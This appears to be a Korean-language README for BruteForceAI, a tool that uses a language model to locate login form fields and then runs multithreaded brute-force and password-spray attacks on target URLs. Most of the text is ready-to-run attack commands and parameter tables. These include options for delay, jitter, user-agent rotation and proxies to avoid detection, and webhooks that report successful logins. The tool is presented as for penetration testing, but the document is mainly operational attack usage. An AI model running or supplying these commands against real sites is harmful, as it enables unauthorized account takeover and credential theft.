
AI 지능과 자동화된 로그인 공격을 결합한 고급 LLM 기반 무차별 대입 도구
BruteForceAI는 대규모 언어 모델(LLM)을 통합하여 지능적인 폼 분석을 수행함으로써 전통적인 무차별 대입 공격을 혁신하는 고급 침투 테스트 도구입니다. 이 도구는 AI를 사용하여 로그인 폼 선택자를 자동으로 식별한 다음, 사람과 유사한 행동 패턴으로 정교한 멀티스레드 공격을 실행합니다.
# Python 3.8 or higher
python --version
내장된 venv를 사용하여 종속성을 시스템 Python과 격리하세요:
# 1. Create a virtual environment
python -m venv .venv
# 2. Activate it
# Windows (PowerShell):
.venv\Scripts\Activate.ps1
# Windows (cmd):
.venv\Scripts\activate.bat
# macOS / Linux:
source .venv/bin/activate
참고:
python -m venv .venv단계는 한 번만 수행하면 됩니다. 새로운 터미널 세션을 열 때마다 도구를 사용하기 전에 활성화 명령(2단계)을 다시 실행하세요. 가상 환경을 종료하려면deactivate를 실행하세요.
# Install Python packages
pip install -r requirements.txt
# Install the Playwright browser
playwright install chromium
필수 패키지:
playwright - 브라우저 자동화requests - HTTP 요청PyYAML - 업데이트 확인을 위한 YAML 파싱# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh
# Pull recommended model
ollama pull llama3.2:3b
--llm-provider groq --llm-api-key YOUR_KEY와 함께 사용Ollama (로컬):
llama3.2:3b - 기본값, 속도와 품질의 좋은 균형llama3.2:1b - 가장 빠름, 빠른 분석을 위한 더 작은 모델qwen2.5:3b - 우수한 성능의 대안Groq (클라우드):
llama-3.3-70b-versatile - 기본값 및 최고 - 뛰어난 품질의 최신 모델 (1회 시도)llama3-70b-8192 - 빠르고 신뢰할 수 있는 대안 (1회 시도)gemma2-9b-it - 경량 옵션, 단순한 양식에 적합 (1회 시도)llama-3.1-8b-instant - ⚠️ 권장하지 않음 (속도 제한 문제, 3회 이상 시도)# Best quality (recommended for complex forms)
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY
# Fast and reliable
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY
# Lightweight for simple forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY
# Local processing (no API key needed)
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
python BruteForceAI.py analyze --urls urls.txt --llm-provider ollama
python BruteForceAI.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10
python BruteForceAI.py <command> [options]
analyze - LLM으로 로그인 폼 분석attack - 브루트 포스 공격 실행clean-db - 데이터베이스 테이블 정리check-updates - 소프트웨어 업데이트 확인# Step 1: Analyze forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
# Step 2: Attack with 20 threads
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--mode passwordspray \
--threads 15 \
--delay 10 \
--jitter 3 \
--success-exit \
--user-agents user_agents.txt \
--verbose \
--output results.txt
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--discord-webhook "https://discord.com/api/webhooks/..." \
--slack-webhook "https://hooks.slack.com/services/..." \
--threads 10
python BruteForceAI.py analyze \
--urls targets.txt \
--show-browser \
--browser-wait 5 \
--debug \
--llm-provider ollama
# Check for software updates
python BruteForceAI.py check-updates
# Check with output to file
python BruteForceAI.py check-updates --output update_check.txt
# Skip version check completely for faster startup
python BruteForceAI.py analyze --urls targets.txt --skip-version-check
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --skip-version-check
# Also works as global flag (before subcommand)
python BruteForceAI.py --skip-version-check analyze --urls targets.txt
| 매개변수 | 설명 | 기본값 |
|---|---|---|
--llm-provider | LLM 제공자 (ollama/groq) | ollama |
--llm-model | 모델 이름 | llama3.2:3b (ollama), llama-3.3-70b-versatile (groq) |
--llm-api-key | Groq용 API 키 | None |
--ollama-url | Ollama 서버 URL | http://localhost:11434 |
--selector-retry | 선택자 재시도 횟수 | 10 |
--force-reanalyze | 강제 재분석 | False |
| 매개변수 | 설명 | 기본값 |
|---|---|---|
--mode | 공격 모드 (bruteforce/passwordspray) | bruteforce |
--threads | 스레드 수 | 1 |
--delay | 시도 간 지연 (초) | 0 |
--jitter | 무작위 지터 (초) | 0 |
--success-exit | 첫 성공 후 중지 | False |
--force-retry | 기존 시도 재시도 | False |
| 매개변수 | 설명 | 기본값 |
|---|---|---|
--dom-threshold | DOM 차이 임계값 | 100 |
--retry-attempts | 네트워크 재시도 횟수 | 3 |
| 매개변수 | 설명 | 기본값 |
|---|---|---|
--user-agents | User-Agent 파일 | None |
--proxy | 프록시 서버 | None |
--show-browser | 브라우저 창 표시 | False |
--browser-wait | 표시 시 대기 시간 | 0 |
| 매개변수 | 설명 | 기본값 |
|---|---|---|
--verbose | 상세 타임스탬프 | False |
--debug | 디버그 정보 | False |
--output | 출력을 파일에 저장 | None |
--no-color | 색상 비활성화 | False |
--database | SQLite 데이터베이스 파일 경로 | bruteforce.db |